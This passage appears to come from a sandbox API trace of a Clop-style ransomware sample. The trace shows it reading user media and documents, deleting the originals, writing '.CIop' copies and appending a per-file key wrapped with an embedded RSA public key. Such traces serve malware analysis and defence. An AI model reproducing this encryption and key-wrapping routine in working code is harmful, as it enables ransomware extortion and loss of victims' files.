2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.653] lstrcpyW (in: lpString1=0x312f368, lpString2="zDzpwp-28.avi" | out: lpString1="zDzpwp-28.avi") returned="zDzpwp-28.avi" [0102.653] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0102.653] SetErrorMode (uMode=0x1) returned 0x1 [0102.653] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi") returned 46 [0102.653] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi", dwFileAttributes=0x20) returned 1 [0102.653] StrStrW (lpFirst="zDzpwp-28.avi", lpSrch=".CIop") returned 0x0 [0102.653] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi.CIop") returned 51 [0102.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\zdzpwp-28.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608 [0102.654] ReadFile (in: hFile=0x608, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x14224, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x312e5e8*=0x14224, lpOverlapped=0x0) returned 1 [0102.655] CloseHandle (hObject=0x608) returned 1 [0102.655] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\zdzpwp-28.avi")) returned 1 [0102.694] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0102.694] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0102.694] SetErrorMode (uMode=0x1) returned 0x1 [0102.695] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1a560) returned 1 [0102.704] CryptGenKey (in: hProv=0x2f1a560, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67ea78) returned 1 [0102.853] CryptExportKey (in: hKey=0x67ea78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.853] CryptExportKey (in: hKey=0x67ea78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x312e5ec | out: pbData=0x32b0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0102.853] CryptDestroyKey (hKey=0x67ea78) returned 1 [0102.853] CryptReleaseContext (hProv=0x2f1a560, dwFlags=0x0) returned 1 [0102.854] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\zdzpwp-28.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0102.854] WriteFile (in: hFile=0x624, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x14224, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x312e5d8*=0x14224, lpOverlapped=0x0) returned 1 [0103.046] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14224 [0103.046] WriteFile (in: hFile=0x624, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0103.046] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1422b [0103.046] SetErrorMode (uMode=0x1) returned 0x1 [0103.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0103.046] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0103.046] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0103.047] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1b110) returned 1 [0103.049] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b110, dwCertEncodingType=0x1, pInfo=0x691388, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e5b8) returned 1 [0103.049] CryptEncrypt (in: hKey=0x67e5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0103.049] CryptEncrypt (in: hKey=0x67e5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a918*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a918*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0103.049] WriteFile (in: hFile=0x624, lpBuffer=0x2f1a918*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a918*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0103.049] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.050] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.050] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.051] CloseHandle (hObject=0x624) returned 1 [0103.067] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\zDzpwp-28.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\zdzpwp-28.avi")) returned 0 Thread: id = 192 os_tid = 0xd44 [0102.736] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.736] lstrcpyW (in: lpString1=0x326f368, lpString2="8P2mSya3098KVulU.wav" | out: lpString1="8P2mSya3098KVulU.wav") returned="8P2mSya3098KVulU.wav" [0102.736] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.736] SetErrorMode (uMode=0x1) returned 0x1 [0102.736] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav") returned 62 [0102.736] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav", dwFileAttributes=0x20) returned 1 [0102.737] StrStrW (lpFirst="8P2mSya3098KVulU.wav", lpSrch=".CIop") returned 0x0 [0102.737] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav.CIop") returned 67 [0102.737] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\8p2msya3098kvulu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0102.738] ReadFile (in: hFile=0x5bc, lpBuffer=0x656668, nNumberOfBytesToRead=0x139b7, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0x139b7, lpOverlapped=0x0) returned 1 [0102.738] CloseHandle (hObject=0x5bc) returned 1 [0102.738] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\8p2msya3098kvulu.wav")) returned 1 [0102.819] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3340000 [0102.819] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3350000 [0102.819] SetErrorMode (uMode=0x1) returned 0x1 [0102.819] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1a5e8) returned 1 [0102.873] CryptGenKey (in: hProv=0x2f1a5e8, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e3f8) returned 1 [0103.543] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0103.544] CryptExportKey (in: hKey=0x67e3f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3350000, pdwDataLen=0x326e5ec | out: pbData=0x3350000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0103.544] CryptDestroyKey (hKey=0x67e3f8) returned 1 [0103.544] CryptReleaseContext (hProv=0x2f1a5e8, dwFlags=0x0) returned 1 [0103.544] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\8p2msya3098kvulu.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0103.544] WriteFile (in: hFile=0x604, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x139b7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0x139b7, lpOverlapped=0x0) returned 1 [0103.546] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x139b7 [0103.546] WriteFile (in: hFile=0x604, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0103.546] SetFilePointer (in: hFile=0x604, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x139be [0103.546] SetErrorMode (uMode=0x1) returned 0x1 [0103.546] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0103.546] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0103.546] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0103.546] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1b220) returned 1 [0103.548] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b220, dwCertEncodingType=0x1, pInfo=0x691458, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e3b8) returned 1 [0103.548] CryptEncrypt (in: hKey=0x67e3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0103.549] CryptEncrypt (in: hKey=0x67e3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1abc0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1abc0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0103.549] WriteFile (in: hFile=0x604, lpBuffer=0x2f1abc0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1abc0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0103.549] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.549] VirtualFree (lpAddress=0x3340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.549] VirtualFree (lpAddress=0x3350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.550] CloseHandle (hObject=0x604) returned 1 [0103.551] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\8P2mSya3098KVulU.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\8p2msya3098kvulu.wav")) returned 0 Thread: id = 193 os_tid = 0xe24 [0102.780] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0102.780] lstrcpyW (in: lpString1=0x357f368, lpString2="AK8M AL1ySTdgK.odt" | out: lpString1="AK8M AL1ySTdgK.odt") returned="AK8M AL1ySTdgK.odt" [0102.780] lstrcpyW (in: lpString1=0x357f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\" [0102.780] SetErrorMode (uMode=0x1) returned 0x1 [0102.780] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt") returned 60 [0102.780] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt", dwFileAttributes=0x20) returned 1 [0102.781] StrStrW (lpFirst="AK8M AL1ySTdgK.odt", lpSrch=".CIop") returned 0x0 [0102.781] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt.CIop") returned 65 [0102.781] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ak8m al1ystdgk.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0102.781] ReadFile (in: hFile=0x620, lpBuffer=0x66a028, nNumberOfBytesToRead=0xf0f0, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66a028*, lpNumberOfBytesRead=0x357e5e8*=0xf0f0, lpOverlapped=0x0) returned 1 [0102.782] CloseHandle (hObject=0x620) returned 1 [0102.782] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ak8m al1ystdgk.odt")) returned 1 [0102.829] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0102.829] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3280000 [0102.830] SetErrorMode (uMode=0x1) returned 0x1 [0102.830] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f1a890) returned 1 [0102.859] CryptGenKey (in: hProv=0x2f1a890, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x67e678) returned 1 [0103.343] CryptExportKey (in: hKey=0x67e678, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0103.343] CryptExportKey (in: hKey=0x67e678, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3280000, pdwDataLen=0x357e5ec | out: pbData=0x3280000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0103.343] CryptDestroyKey (hKey=0x67e678) returned 1 [0103.343] CryptReleaseContext (hProv=0x2f1a890, dwFlags=0x0) returned 1 [0103.343] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\AK8M AL1ySTdgK.odt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\ak8m al1ystdgk.odt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0103.343] WriteFile (in: hFile=0x61c, lpBuffer=0x66a028*, nNumberOfBytesToWrite=0xf0f0, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66a028*, lpNumberOfBytesWritten=0x357e5d8*=0xf0f0, lpOverlapped=0x0) returned 1 [0103.344] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf0f0 [0103.345] WriteFile (in: hFile=0x61c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0103.345] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf0f7 [0103.345] SetErrorMode (uMode=0x1) returned 0x1 [0103.345] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0103.345] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0103.345] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0103.345] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f1ade0) returned 1 [0103.347] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1ade0, dwCertEncodingType=0x1, pInfo=0x691a08, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x67e878) returned 1 [0103.347] CryptEncrypt (in: hKey=0x67e878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0103.347] CryptEncrypt (in: hKey=0x67e878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a890*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a890*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0103.348] 